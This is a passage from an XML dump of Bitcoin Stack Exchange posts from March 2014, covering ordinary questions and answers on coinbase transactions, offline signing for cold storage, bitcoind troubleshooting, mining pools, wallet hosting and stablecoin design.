initial values expected Dogecoin to become irrelevant within this time frame or simply wanted cosmetically large block rewards to entice people.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-03-18T03:02:07.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23687" PostTypeId="1" CreationDate="2014-03-18T05:17:31.173" Score="3" ViewCount="175" Body="&lt;p&gt;I have a question. If for each transaction, the hash is calculated and so the pool who calculates it gets the bitcoins as reward, now getting reward means bitcoins gets added to your wallet, but this also becomes 1 transaction so doesn't it require that transaction to be included as well? And if yes, then doesn't the process become recursive?&lt;/p&gt;&#xA;" OwnerUserId="14600" LastEditorUserId="13700" LastEditDate="2014-03-18T06:27:29.643" LastActivityDate="2014-03-18T06:27:29.643" Title="How is the reward that you got after calculating the right hash added in the blockchain?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23688" PostTypeId="1" CreationDate="2014-03-18T05:36:19.053" Score="2" ViewCount="486" Body="&lt;p&gt;Ok, going crazy! I have a file that lists my old private keys (2011) (not original wallet.dat, just keys txt file).  I need to convert each of these keys (not one at a time) into either a WIP key (base58) format or inserted into a new-wallet.  The only solutions I have seen are to convert one at a time.  I need a script to convert the raw private keys in the file with an output of the WIP keys, allowing me to import all at one time into a wallet ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any suggestions ?  much thanks!  sky&lt;/p&gt;&#xA;" OwnerUserId="5573" LastActivityDate="2014-03-18T05:36:19.053" Title="Converting multiple btc private keys in standard text format to WIP" Tags="|private-key|import|base58|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23689" PostTypeId="2" ParentId="23687" CreationDate="2014-03-18T06:08:46.800" Score="2" Body="&lt;p&gt;When you are mining, you always compute hashes of blocks assuming that you will be the one to find the block. So you already include this special transaction, known as a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Transaction_Verification&quot; rel=&quot;nofollow&quot;&gt;coinbase transaction&lt;/a&gt; (not to be confused with a transaction made using the service Coinbase - here coinbase just means coin generation), in the block you're hashing. If you're right, then great, you've found a block and included a transaction that sends 25 BTC + transaction fees to yourself. If you're wrong, and someone else finds the block first, there's no harm in that. Just give up on the current block and start working on the next one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more technical side, when you compute a hash you're really hashing the &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;block header&lt;/a&gt;. It includes a bunch of things, one of which is the hashMerkleRoot, a hash of the transactions in the block.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-18T06:08:46.800" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="23693" PostTypeId="2" ParentId="23674" CreationDate="2014-03-18T09:05:19.310" Score="1" Body="&lt;p&gt;Yes, there is a number of &lt;a href=&quot;https://en.bitcoin.it/wiki/Donation-accepting_organizations_and_projects&quot; rel=&quot;nofollow&quot;&gt;organizations and projects that accept Bitcoin donations&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above linked list includes political parties (e.g. Libertarian Party in the US), at least one church (&lt;a href=&quot;http://www.coindesk.com/saint-johns-becomes-worlds-first-catholic-church-accept-bitcoin-donations/&quot; rel=&quot;nofollow&quot;&gt;St. John's in Goshen, NY&lt;/a&gt;), a score of open-source projects, as well as a number of charities and other causes.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-03-18T09:05:19.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23694" PostTypeId="1" CreationDate="2014-03-18T09:07:07.253" Score="6" ViewCount="2272" Body="&lt;p&gt;I have a cold storage wallet that I periodically move funds into.  I want to be able to send funds out of the wallet quickly.  Right now, I have to keep a clean VM up with the full blockchain, then import the key, send my funds, and basically revert my VM.  While it's manageable, i'm curious if there is a more elegant solution.&lt;/p&gt;&#xA;" OwnerUserId="9571" LastEditorUserId="38482" LastEditDate="2018-08-31T05:39:02.703" LastActivityDate="2018-08-31T05:39:02.703" Title="Is it possible to send coins WITHOUT importing private key?" Tags="|bitcoin-core|bitcoind|wallet.dat|coldstorage|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23695" PostTypeId="2" ParentId="23694" CreationDate="2014-03-18T09:16:34.773" Score="2" Body="&lt;p&gt;Since you need the private key in order to sign the transaction, you cannot send a transaction without touching your private key at some point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could use a thin client such as &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;MultiBit&lt;/a&gt; instead of Bitcoin-Qt in order to get around syncing the full blockchain.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-03-18T09:16:34.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23696" PostTypeId="2" ParentId="23694" CreationDate="2014-03-18T09:46:10.027" Score="8" Body="&lt;p&gt;Basically what Murch said. You have to use the private key to sign the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a point I want to add, however. It &lt;em&gt;is&lt;/em&gt; possible to send coins without importing the private key into a computer which is connected to the Internet. In fact, this is how a properly run exchange or online wallet service ought to maintain its cold storage. Normally, funds are just sent to the public address of the cold storage. When it comes time to send coins out of cold storage, the private key is imported into an offline computer, the transaction is generated and signed, and the signed transaction is then broadcast using a different computer (which is connected to the network). This increases security as it prevents malicious attackers from gaining access to the private key because they simply have no way of connecting to the offline computer on which it is stored.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-18T09:46:10.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23697" PostTypeId="1" CreationDate="2014-03-18T09:48:52.913" Score="1" ViewCount="329" Body="&lt;pre&gt;&lt;code&gt;EXCEPTION: 11DbException&#xA;Db::get: Cannot allocate memory&#xA;bitcoin in ProcessMessage()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Downloaded 250k blocks, now it won't run anymore i'm running ubuntu 12.04, I have 20GB HD and 1gb ram. any way to fix without redownloading?&lt;/p&gt;&#xA;" OwnerUserId="14364" LastActivityDate="2014-07-15T22:22:01.827" Title="Cannot allocate memory" Tags="|blockchain|bitcoind|bitcoin-core|ubuntu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23700" PostTypeId="1" AcceptedAnswerId="23701" CreationDate="2014-03-18T11:01:30.247" Score="8" ViewCount="15169" Body="&lt;p&gt;I searched a lot about it but didn't get a proper answer I want to build my own bitcoin wallet and host it on my website for my personal usage and other visitors use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone know that how to do that then please send me some links for reference &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13912" LastActivityDate="2018-04-25T12:28:51.560" Title="Can I make and host bitcoin wallet in my own website to get rid of using 3rd party wallets" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23701" PostTypeId="2" ParentId="23700" CreationDate="2014-03-18T12:03:26.690" Score="10" Body="&lt;p&gt;First off, you'll need to have full access to your server, because you need to be running a Bitcoin-node (constantly) connected to the Bitcoin Network. So a simple shared server won't cut it. You could connect to your remote Bitcoin-node. But in that case, you still need a server to run that node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The programmer's way:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install and run a Bitcoin-node on your server. &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;HOW&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Learn how to use &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;JsonRPC&lt;/a&gt; in your preferred programming language.&lt;/li&gt;&#xA;&lt;li&gt;Use the API to program your own virtual wallet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(basically how all online wallets more or less function)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The lazy programmer's way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install and run a Bitcoin-node on your server. &lt;/li&gt;&#xA;&lt;li&gt;Use a third-party DIY self-hosted wallet, like &lt;a href=&quot;https://github.com/kyledrake/coinpunk&quot; rel=&quot;nofollow noreferrer&quot;&gt;Coinpunk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(Note: as indicated on the website, such projects are still very beta. Careful.)&lt;/p&gt;&#xA;" OwnerUserId="14611" LastEditorUserId="43406" LastEditDate="2016-11-21T14:05:53.440" LastActivityDate="2016-11-21T14:05:53.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23702" PostTypeId="1" AcceptedAnswerId="23811" CreationDate="2014-03-18T12:39:04.177" Score="5" ViewCount="853" Body="&lt;p&gt;We are developing UI for coin trading. We have a plan to use  all the coins present in coinmarketcap. I am greatly confused how to generate coin address for all coins. I knew that from cryptsy.com, it is possible to generate address for all coins from bitcoin but I don't know how to implement it. Is there any easiest way to generate coin address for all coins or can anybody tell how cryptsy do this for all coins? We are doing this in Ruby. Can you please suggest some more ideas to implement this. Any help is appreciated. &lt;/p&gt;&#xA;" OwnerUserId="12634" LastEditorUserId="12634" LastEditDate="2014-03-19T04:07:23.000" LastActivityDate="2022-03-10T10:59:40.683" Title="Coin address generation for all coins" Tags="|transactions|bitcoind|address|vanity-address|address-generation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23703" PostTypeId="2" ParentId="16717" CreationDate="2014-03-18T14:27:03.973" Score="1" Body="&lt;p&gt;Update: On February 5th, 2014, Apple removed the Blockchain.info app from the app store.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Apple has removed the world’s most popular bitcoin wallet from its App&#xA;  Store.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Late Wednesday, the tech giant yanked the Blockchain app from the&#xA;  popular mobile app marketplace and did not provide a specific reason,&#xA;  says Nicolas Cary, the CEO of Blockchain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wired.com/wiredenterprise/2014/02/blockchain_apple/&quot; rel=&quot;nofollow&quot;&gt;http://www.wired.com/wiredenterprise/2014/02/blockchain_apple/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14307" LastActivityDate="2014-03-18T14:27:03.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23704" PostTypeId="2" ParentId="23700" CreationDate="2014-03-18T17:03:44.803" Score="2" Body="&lt;p&gt;Even better is if you use a multisig wallet with an offline node signing for transactions through a controlled and logged limited interface, or OTP&#xA;Full automation is always a risk.  You are then trusting your automation to be uncompromised&lt;/p&gt;&#xA;" OwnerUserId="14309" LastActivityDate="2014-03-18T17:03:44.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23705" PostTypeId="1" CreationDate="2014-03-18T18:22:44.583" Score="1" ViewCount="149" Body="&lt;p&gt;Bitcoin calculators give an approximate correct range reward for solo mining, do they include pools, accounting your Hash rate reward share. I have not seen any pool calculators around, nevertheless their incomprehensible reward systems.  &lt;/p&gt;&#xA;" OwnerUserId="14248" LastActivityDate="2014-03-18T18:35:09.433" Title="Do Bitcoin calculators give a realistic figure on pool mining" Tags="|mining-pools|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23706" PostTypeId="2" ParentId="23705" CreationDate="2014-03-18T18:35:09.433" Score="1" Body="&lt;p&gt;Regardless of whether you're solo mining or pool mining, as long as it's the same coin, your expected number of coins per day should be the same (minus a pool fee). However, the benefit of mining in a pool is that you reduce variance greatly. For example, let's say you have enough hashrate to mine 1 LTC per day on average. If you solo mine, the expected time to find a block is 50 days, but that doesn't mean you will find a block in 50 days. In fact, you might not even find a block in 500 days. It's all random. However, if you're using a pool that finds a block every 50 minutes, the probability that it goes for 500 minutes without a block is the same as the probability that you, as a solo miner, go for 500 days without a block. So you can expect more regular payouts with less risk, making the pool fee well worth it in my opinion unless you alone have 1% of the total network hashrate or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for how the estimated number of coins per day is actually computed from your hashrate, see my answer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23506/how-does-estimated-coins-calculated-on-coinotron/23659#23659&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-03-18T18:35:09.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23707" PostTypeId="1" AcceptedAnswerId="23708" CreationDate="2014-03-18T21:10:39.943" Score="3" ViewCount="1404" Body="&lt;p&gt;How can I use the jsonRPC for the bitcoin client to export the chain into mysql and then sync the two as transactions come in? I'm writing a blockchain explorer for a new alt coin and unfortunately ABE won't work for this particular coin. I can query the chain using jsonRPC just fine for each transaction but I want to be able to store the chain in mySQL for speed and efficiency later on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferred technologies: php &amp;amp; mysql.&lt;/p&gt;&#xA;" OwnerUserId="14621" LastActivityDate="2016-07-21T06:41:37.183" Title="Store bitcoin transactions in mysql" Tags="|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23708" PostTypeId="2" ParentId="23707" CreationDate="2014-03-18T21:33:37.893" Score="4" Body="&lt;p&gt;You can't use jsonRPC to do this, because jsonRPC commands like gettransaction only work for wallet addresses you have in your wallet.  They don't work for arbitrary addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sites like blockchain.info basically read the physical blockchain files, not using jsonRPC.  You could do something similar.  I've heard that &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt; may do what you want, but I've never used that library.  You also want to check into &lt;a href=&quot;https://blog.bitpay.com/introducing-bitcore/&quot; rel=&quot;nofollow&quot;&gt;Bitcore&lt;/a&gt; from BitPay.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="24573" LastEditDate="2016-07-21T06:41:37.183" LastActivityDate="2016-07-21T06:41:37.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23709" PostTypeId="1" CreationDate="2014-03-18T23:51:08.120" Score="1" ViewCount="124" Body="&lt;p&gt;I'm trying to sign a transaction using bitcoind via rpc.&#xA;Here is the request I send.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;signrawtransaction &quot;01000000017267f196964c70d529ba2c16c84f1fd8b52d983eb472bd005423c51ba15e6fbb0000000000ffffffff020065cd1d000000001976a9147c9b6f1bc7173d2751d49f072c6d29a10d40e24188acf03dcd1d000000001976a9144d814b8163d4cf7ad896cc5ecaba8a2c3790950c88ac00000000&quot; '[]' '[&quot;cVAKPN7Rioo1ZLVjALa6n38iqSCd6g9zdyG5UUNcNphikstmwWHW&quot;]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I send that to the bitcoind daemon with all the blockchain downloaded it's working perfectly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;hex&quot;:&quot;01000000017267f196964c70d529ba2c16c84f1fd8b52d983eb472bd005423c51ba15e6fbb000000006b48304502201d8199f2639579435e9d3c3d5f2245195d2c8f370bd738996120570146048f4e022100ad33352531fdc8805903d745a460249b5487555b72596a089dec724dc8df0700012103129f14097719e665939e778ef876d0022528b954b95d69b39194b9c764b4ae83ffffffff020065cd1d000000001976a9147c9b6f1bc7173d2751d49f072c6d29a10d40e24188acf03dcd1d000000001976a9144d814b8163d4cf7ad896cc5ecaba8a2c3790950c88ac00000000&quot;,&quot;complete&quot;:true}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I remove the blockchain file, it's not working anymore&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;hex&quot;:&quot;01000000017267f196964c70d529ba2c16c84f1fd8b52d983eb472bd005423c51ba15e6fbb0000000000ffffffff020065cd1d000000001976a9147c9b6f1bc7173d2751d49f072c6d29a10d40e24188acf03dcd1d000000001976a9144d814b8163d4cf7ad896cc5ecaba8a2c3790950c88ac00000000&quot;,&quot;complete&quot;:false}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does bitcoind need the blockchain to sign the transaction (it would be highly surprising to me), or is there something I am missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I tried to sign the transaction on a freshly installed bitcoind and it wasn't working. All the &quot;delete the blockchain files&quot; part was only to make sure that it was really the blockchain missing that was causing the problem and not a strangely installed/configured bitcoind.&lt;/p&gt;&#xA;" OwnerUserId="14624" LastActivityDate="2014-04-18T04:41:21.810" Title="Bitcoind need blockchain to sign transaction" Tags="|blockchain|bitcoind|raw-transaction|signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23710" PostTypeId="1" CreationDate="2014-03-19T01:11:46.843" Score="2" ViewCount="4028" Body="&lt;p&gt;I have a BFL Jalapeño miner and a Raspberry Pi and I would like to get the Jalapeño to run off of CGMiner from the Raspberry Pi, however, I am not quite sure how to do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing some research, I came across this guide: &lt;a href=&quot;http://dominustemporis.com/2013/06/compiling-cgminer-for-the-raspberry-pi-and-butterflylabs-jalapeno/&quot; rel=&quot;nofollow&quot;&gt;http://dominustemporis.com/2013/06/compiling-cgminer-for-the-raspberry-pi-and-butterflylabs-jalapeno/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to install most of the prerequisites and Im pretty sure it's because they are no longer available or can't be reached for some other reason. I am running the newest version of Raspbian and I ran apt-get update. How can I get CGMiner to install and run on my Raspberry Pi for my Jalapeño?&lt;/p&gt;&#xA;" OwnerUserId="8691" LastActivityDate="2015-05-30T18:23:37.227" Title="Setting up and running CGMiner on a Raspberry Pi for a Jalapeño" Tags="|cgminer|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23711" PostTypeId="2" ParentId="23710" CreationDate="2014-03-19T02:35:51.053" Score="1" Body="&lt;p&gt;You could also try finding a binary version of CGMiner, or downloading CGminer from a repository for your chosen distro. &lt;a href=&quot;https://github.com/kanoi/cgminer-binaries&quot; rel=&quot;nofollow&quot;&gt;From here&lt;/a&gt; for example. I should note that binaries are (even) less safe than compiling from (unread/unchecked) source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a great deal of tutorials available when searching for &quot;Raspberry cgminer&quot; on Google, and I doubt any tutorial that's written just for this question will do better than one of those.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2014-03-19T02:35:51.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23712" PostTypeId="1" CreationDate="2014-03-19T03:23:43.857" Score="1" ViewCount="904" Body="&lt;p&gt;I want to set up a service to monitor the activity of various watch-only addresses. I know Blockchain.info offers an option to do URL callback notifications when a payment is made to an address in their wallet and I know you can add a watch-only address to their wallet by hand, but I can't seem to find an API call to be able to accomplish that. Is it possible to add watch-only addresses to Blockchain.info through an API call?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2016-09-13T15:33:33.913" Title="Adding watch-only addresses to Blockchain.info through an API?" Tags="|address|api|blockchain.info|watch-only|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23713" PostTypeId="2" ParentId="23709" CreationDate="2014-03-19T03:54:01.430" Score="1" Body="&lt;p&gt;You surely need the unspent tx outputs (tx hashes, and indices) to sign a transaction. Furthermore you need the age and value for each utxo to calculate required fees.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-19T03:54:01.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23715" PostTypeId="1" CreationDate="2014-03-19T04:53:16.190" Score="5" ViewCount="3511" Body="&lt;p&gt;In the Ripple client (as of 0.2.48-2) there is a way to backup a wallet to a text file. How can we use this file to restore a wallet (for example, to a new browser)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware how to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/10521/5406&quot;&gt;regain access to my wallet having the secret key&lt;/a&gt;, yet, I would also like to reimport the contacts that were stored in my wallet.&lt;/p&gt;&#xA;" OwnerUserId="14383" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2018-01-07T19:41:22.657" Title="How do I restore a Ripple wallet backup?" Tags="|ripple|ripple-client|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23716" PostTypeId="1" CreationDate="2014-03-19T05:00:14.080" Score="0" ViewCount="337" Body="&lt;p&gt;Some exchanges (including BitStamp, JustCoin, Kraken, and many others) charge a nominal 0.5% trading fee for matched orders. However, it is also possible to trade directly on the Ripple network with the same order book by using the Ripple client and setting the issuer to the respective exchange, thus avoiding the fee. Why would anyone pay a trading fee? (Other fees, like deposit/withdrawal transaction fees, make more sense to me.)&lt;/p&gt;&#xA;" OwnerUserId="14383" LastActivityDate="2014-03-19T07:37:16.900" Title="Why would you pay a trading fee for Ripples?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23717" PostTypeId="1" CreationDate="2014-03-19T05:34:55.063" Score="7" ViewCount="764" Body="&lt;p&gt;Lets say we have one instance of bitcoind running on the production server. And our exchange software/application interacts with it using RPC callbacks for:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;address generation &lt;/li&gt;&#xA;&lt;li&gt;withdrawal &lt;/li&gt;&#xA;&lt;li&gt;notifications&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now the question is&#xA;what is the capacity of bitcoind?&#xA;What would be the limit for number of transactions per minute? &#xA;What is bitcoind performance? &#xA;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="14632" LastEditorUserId="14632" LastEditDate="2014-03-19T10:27:29.210" LastActivityDate="2017-01-14T09:14:37.507" Title="Bitcoind Performance for production usage" Tags="|bitcoind|bitcoin-core|development|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23719" PostTypeId="1" AcceptedAnswerId="23722" CreationDate="2014-03-19T07:31:33.070" Score="2" ViewCount="1259" Body="&lt;p&gt;I'm just wondering if there's any way of creating a crypto-currency that is stable by-design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;How would one do so? Can there be something like a &quot;central bank&quot; built in into the currency client?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it defeats the purpose of a decentralized currency to have a &quot;central bank&quot;. I believe bitcoin can be manipulated by someone with a large enough wallet (very large if you ask me) and it is possible for a single entity to act as a &quot;central bank&quot; of sorts if it has the required funds. Or if the government banned and seized all mining equipment to themselves, which would be very impractical manipulation scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither can we think of it as a &quot;currency&quot;, since it is currently too volatile to think of it as a viable store of value. However it is great for transactional users, which I think gives it the upper hand over current money transmission methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1:&lt;/strong&gt; &#xA;My focus is on an built-in algorithmical solution. I've read about the difficulties of pegging the currency, or what a country would have to reinvent if Bitcoin were the official currency. This is not about having a P2P wallet loadable with fiat (as other questions would imply).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt;&#xA;The idea is something more akin &quot;A Third Endgame For Bitcoin or, Creating a Truly Free Coin&quot; by Owen Gunden. He proposes unbounding the coin quantity limit, and giving more coins to miners when the price goes up, increasing the amount and therefore lowering its value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can a crypto-currency be designed from the ground-up to be a stable and solid store of value? Zero inflation.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14633" LastEditorUserId="14633" LastEditDate="2014-03-19T11:15:49.200" LastActivityDate="2014-03-19T16:58:34.380" Title="Is there a way to make a crypto-currency stable by design? How?" Tags="|economic-theory|inflation|" AnswerCount="1" CommentCount="4" ClosedDate="2014-03-19T18:39:20.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="23720" PostTypeId="2" ParentId="23716" CreationDate="2014-03-19T07:37:16.900" Score="2" Body="&lt;p&gt;For the same reason you'd choose one exchange over another (in general) even if the other has lower fees. Examples of reasons not related to trading fees for which one might prefer a particular exchange:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Higher volume/liquidity&lt;/li&gt;&#xA;&lt;li&gt;Better ergonomics&lt;/li&gt;&#xA;&lt;li&gt;Faster trade execution&lt;/li&gt;&#xA;&lt;li&gt;Easier deposits/withdrawals (especially when fiat is concerned)&lt;/li&gt;&#xA;&lt;li&gt;More trading pairs&lt;/li&gt;&#xA;&lt;li&gt;More reliable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-19T07:37:16.900" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23721" PostTypeId="2" ParentId="22404" CreationDate="2014-03-19T08:39:22.290" Score="-1" Body="&lt;p&gt;I got them appearing (unconfirmed) in my Blochchain wallet again today. I assume it is something to do with the database repair.&lt;/p&gt;&#xA;" OwnerUserId="14636" LastActivityDate="2014-03-19T08:39:22.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23722" PostTypeId="2" ParentId="23719" CreationDate="2014-03-19T10:03:14.237" Score="4" Body="&lt;p&gt;There is a few problems with giving a crypto-currency a stable value algorithmically:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stability compared to what?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The algorithm would have to be specifically pegged to either an asset, a currency, or some kind of calculated wealth index. But, if it were stable in comparison to e.g. the USD, it would not be stable in comparison to other currencies, or a barrel of oil. There'd always be room for speculation, and it would become completely decoupled when the value it is pegged to ceased to exist.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Stabilizing the value requires control of the money supply&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to guarantee a certain value, e.g. an exchange rate of 1 SC (StableCoin) = 1 USD, you'd have to create an unlimited offer to buy and sell SC at that price. Both is very hard to integrate into the protocol:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In order to lower the price to 1 USD/SC, you can easily have the algorithm create more SC. However, it is hard to algorithmically accept fiat payments in order to sell them! Essentially your algorithm would need to implement bank contracts, user management and all the other shenanigans exchanges do.&lt;/li&gt;&#xA;&lt;li&gt;To increase the price to 1 USD/SC, you'd have to be able to buy any amount of SolidCoins at 1 USD/SC. That requires very deep pockets. You also have to provide all the exchange services as before.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then, if you wanted a proof-of-work validation, you'd also have to be able to buy back any mining rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I don't think that stability can be guaranteed algorithmically. You would need a central entity that guarantees the price by buying and selling at a fixed value, perhaps for a trading commission. This cannot be implemented in the algorithm, as it would require interfacing with the fiat world, which is not completely digital.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Addendum:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After thinking a bit more about it, I realized that when you create a system that is stable compared to another unit of account, essentially you create a debt-based voucher system for that other unit. Unless your currency decouples from the central market maker by being more successful than what it derives from, your currency remains completely dependent on the well-being of the central market maker – it will lose most of its worth should the central market maker default. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you follow through on that thought, you essentially arrive at the system that is &lt;a href=&quot;/questions/tagged/ripple&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;ripple&amp;#39;&quot; rel=&quot;tag&quot;&gt;ripple&lt;/a&gt;, where any user can be a &quot;central market maker&quot; and issue his own StableCoins in form of IOUs pegged to any unit of account other people trust him to owe them.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-03-19T16:58:34.380" LastActivityDate="2014-03-19T16:58:34.380" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
